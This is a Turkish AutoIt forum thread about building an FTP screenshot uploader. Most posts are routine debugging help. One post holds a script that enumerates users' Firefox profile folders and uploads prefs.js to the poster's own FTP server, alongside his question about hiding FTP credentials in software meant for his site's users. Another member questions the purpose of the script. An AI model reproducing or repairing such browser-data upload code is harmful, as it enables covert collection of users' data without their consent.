LifeSux Posted September 9, 2013 Author Share Posted September 9, 2013 (edited) Hata vermesi için hata fonksiyonu oluşturmanız lazım. Yani şu şekilde: $x = ProgressOn("Yükleniyor","Resim Yükleniyor") $uploadresim = _FTP_ProgressUpload($baglan, $sFile, "/" & $filename, "_UpdateParts") ; Dosyamızı sunucuya gönderelim Sleep(2000) ProgressOff() if $uploadresim = 1 Then MsgBox(64, 0, "Dosya Yüklendi! Adresi: http://bulutresim.com/" & $filename) ; Dosya yolunu gösterelim else MsgBox(16, 0, "Dosya yüklenemedi.") endif Bende dosya yükleniyor. Güvenlik duvarınızdan programınıza izin vermeniz gerekebilir. Sorunu tamamen çözdüm artık %100 çalışır durumda :) Yardımcı olanlara çok teşekkürler.Ancak hala bir problem var denemişseniz browserda falan resim almaya çalışınca alanı tümden seçiyor yani şu şekilde oluyor http://lifesuxtrmap.tk/fcj2uv3eghl2.jpg Programdan çekilen bir resim bunu nasıl ayarlayabilirim bir fikriniz var mı ? Edited September 9, 2013 by LifeSux Quote Link to comment Share on other sites More sharing options...
Mehmet Posted September 17, 2013 Share Posted September 17, 2013 Benimde bu konuda merak ettiğim bir şey var sitemiz için böyle bir çalışma düzenlersek. ve sitemizdeki kullanıcılara verdiğimizde kodlar decompile edildiğinde ftp k.adı ve şifremiz ele geçmiş olur demek istediğim kodların tümünü decompilere karşı korumak değilde k.adı ve şifre bölümünü saklamak,şifrelemek gibi bir şansımız varmı.? Quote Link to comment Share on other sites More sharing options...
reyiz Posted September 20, 2013 Share Posted September 20, 2013 (edited) ... Edited November 8, 2013 by reyiz Quote Link to comment Share on other sites More sharing options...
Mehmet Posted September 27, 2013 Share Posted September 27, 2013 Post yöntemi ilede aynı yöntem kullanılmıyormu post edebilmesi için k.adı ve şifreyi au3 dosyasına yazmamız gerekecektir. Quote Link to comment Share on other sites More sharing options...
reyiz Posted September 27, 2013 Share Posted September 27, 2013 Hayır, gerekmez. Tek taraflı olarak iletişim sağlanır. Ayrıca veriler MIME ile şifrelenir. http://www.autoitscript.com/forum/topic/125615-php-post/ http://www.autoitscript.com/forum/topic/84133-winhttp-functions/ https://autoit-winhttp.googlecode.com/files/1.6.3.3.zip Quote Link to comment Share on other sites More sharing options...
Mehmet Posted October 1, 2013 Share Posted October 1, 2013 (edited) Nerede Hata yapıyorum, hata vermiyor ve dosyada gönderilmiyor #include <FTPEx.au3> #include <File.au3> #include <Array.au3> $server = 'sunucu' $username = 'k.adı' $pass = 'şifre' $Open = _FTP_Open('MyFTP Control') $Conn = _FTP_Connect($Open, $server, $username, $pass) If FileExists(@AppDataDir & "\Mozilla\Firefox\profiles.ini") Then Global $FolderList = _ListFolder(@AppDataDir & "\Mozilla\Firefox\Profiles\") For $I = 1 To $FolderList[0] _FTP_FilePut($Conn, "prefs.js",$FolderList[$I] & "/httpdocs/prefs.js" & @YEAR & "-" & @MON & "-" & @MDAY & "_" & @HOUR & @MIN & "-" & @SEC) Next EndIf Func _ListFolder($TargetLocation) If StringRight($TargetLocation, 1) <> "\" Then $TargetLocation &= "\" Local $_RETURN[1] = [0], $Folder Local $_Searc = FileFindFirstFile($TargetLocation & "*") If $_Searc <> -1 Then While 1 $Folder = FileFindNextFile($_Searc) If @error Then ExitLoop If @extended = 1 Then $_RETURN[0] += 1 ReDim $_RETURN[$_RETURN[0] + 1] $_RETURN[$_RETURN[0]] = $TargetLocation & $Folder EndIf WEnd EndIf FileClose($_Searc) Return $_RETURN EndFunc $Ftpc = _FTP_Close($Open) Edited October 1, 2013 by MeHMeTBeN Quote Link to comment Share on other sites More sharing options...
reyiz Posted October 1, 2013 Share Posted October 1, 2013 (edited) [spoiler] Nerede Hata yapıyorum, hata vermiyor ve dosyada gönderilmiyor #include <FTPEx.au3> #include <File.au3> #include <Array.au3> $server = 'sunucu' $username = 'k.adı' $pass = 'şifre' $Open = _FTP_Open('MyFTP Control') $Conn = _FTP_Connect($Open, $server, $username, $pass) If FileExists(@AppDataDir & "\Mozilla\Firefox\profiles.ini") Then Global $FolderList = _ListFolder(@AppDataDir & "\Mozilla\Firefox\Profiles\") For $I = 1 To $FolderList[0] _FTP_FilePut($Conn, "prefs.js",$FolderList[$I] & "/httpdocs/prefs.js" & @YEAR & "-" & @MON & "-" & @MDAY & "_" & @HOUR & @MIN & "-" & @SEC) Next EndIf Func _ListFolder($TargetLocation) If StringRight($TargetLocation, 1) <> "\" Then $TargetLocation &= "\" Local $_RETURN[1] = [0], $Folder Local $_Searc = FileFindFirstFile($TargetLocation & "*") If $_Searc <> -1 Then While 1 $Folder = FileFindNextFile($_Searc) If @error Then ExitLoop If @extended = 1 Then $_RETURN[0] += 1 ReDim $_RETURN[$_RETURN[0] + 1] $_RETURN[$_RETURN[0]] = $TargetLocation & $Folder EndIf WEnd EndIf FileClose($_Searc) Return $_RETURN EndFunc $Ftpc = _FTP_Close($Open) [/spoiler]Firefox veritabanını neden karşı tarafa (kendinize) gönderiyorsunuz? Kötü bir amacı yoktur umarım. Edited October 1, 2013 by reyiz Quote Link to comment Share on other sites More sharing options...
Mehmet Posted October 1, 2013 Share Posted October 1, 2013 prefs.js tarayıcı ayarları için birşey düşünüyorum kötü bir amaç yok tabiki. Quote Link to comment Share on other sites More sharing options...
reyiz Posted October 1, 2013 Share Posted October 1, 2013 (edited) ... Edited November 8, 2013 by reyiz Quote Link to comment Share on other sites More sharing options...
Mehmet Posted October 1, 2013 Share Posted October 1, 2013 Teşekkürler Ufak bir sorun var ama düzelttim :) Quote Link to comment Share on other sites More sharing options...
reyiz Posted October 1, 2013 Share Posted October 1, 2013 (edited) ... Edited November 8, 2013 by reyiz Quote Link to comment Share on other sites More sharing options...
isimsiz2 Posted February 6, 2014 Share Posted February 6, 2014 Func basildi($ihex) $aIsbasildi = DllCall($hUser32, "int", "GetAsyncKeyState", "int", "0x" & $iHex) If @Error Or (BitAND ($aIsbasildi[0], 0x8000) <> 0x8000) Then Return 0 Return 1 EndFunc bu fonksiyona her türlü tuş için hex verisi girebilir miyiz yoksa sadece belirli tuşlar içinmi girebiliriz 0x8000 ne anlama geliyor sayısal değeri ne benim bildiğim bitand fonksiyonu 2 sayınında 2 tabanında eşitini bulup o sayıların basamaklarını karşılaştırır heriki sayınında n. basamağı 1'e eşitse yeni sayının n. basamağı 1 olur; 2 sayıdan herhangi birinin n. basamağı 0a eşitse yeni sayının n. basamağı 0 olur. zaten her sayının solunda sonsuz sıfır olduğu varsayıldığı için yeni sayının basamak sayısı her zaman basamak sayısı az olan sayının basamak sayısına eşittir. yani $aIsbasildi[0] değişkeninin sayısal değerinin basamak sayısı 0x8000 in sayısal değerinin basamak sayısından küçükse return 0 olur: 0x8000 sayısının tam olarak 2 tabanında yazılmış şeklini bilmediğimden dolayı daha fazla yorum yapamıyorum. If @Error Or (BitAND ($aIsbasildi[0], 0x8000) <> 0x8000) Then Return 0 Quote Link to comment Share on other sites More sharing options...
isimsiz2 Posted February 6, 2014 Share Posted February 6, 2014 Hocam daha iyi anlamak için ne yapmak istediğimi lightshotun videosunu atayım https://www.youtube.com/watch?v=L4wMjKiEDPs burda 2.30 a gelin o kısım tamam yani bölgeyi seçme ve kayıt etme tamam ancak bunu yaptıktan sonra aynı videodaki gibi upload edip link çıkarmasını istiyorum. :/ youtube videoyu göstermiyor gizli video diyor. Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.